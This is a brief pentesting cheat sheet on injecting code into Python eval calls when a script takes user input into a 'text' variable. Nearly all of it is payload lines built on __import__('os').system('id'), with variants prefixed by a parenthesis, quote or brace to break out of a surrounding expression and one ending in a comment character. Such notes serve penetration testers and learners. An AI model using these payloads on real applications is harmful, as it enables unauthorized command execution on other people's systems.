Investigation
If the Python script allows us to input some value to the "text" variable, we can inject arbitrary code.
Arbitrary Code Execution
Most of the time, we need to bypass another expression to execute our desired command.
__import__('os').system('id')
<!-- Bypass another expression in eval -->
),__import__('os').system('id')
'),__import__('os').system('id')
},__import__('os').system('id')
),__import__('os').system('id')#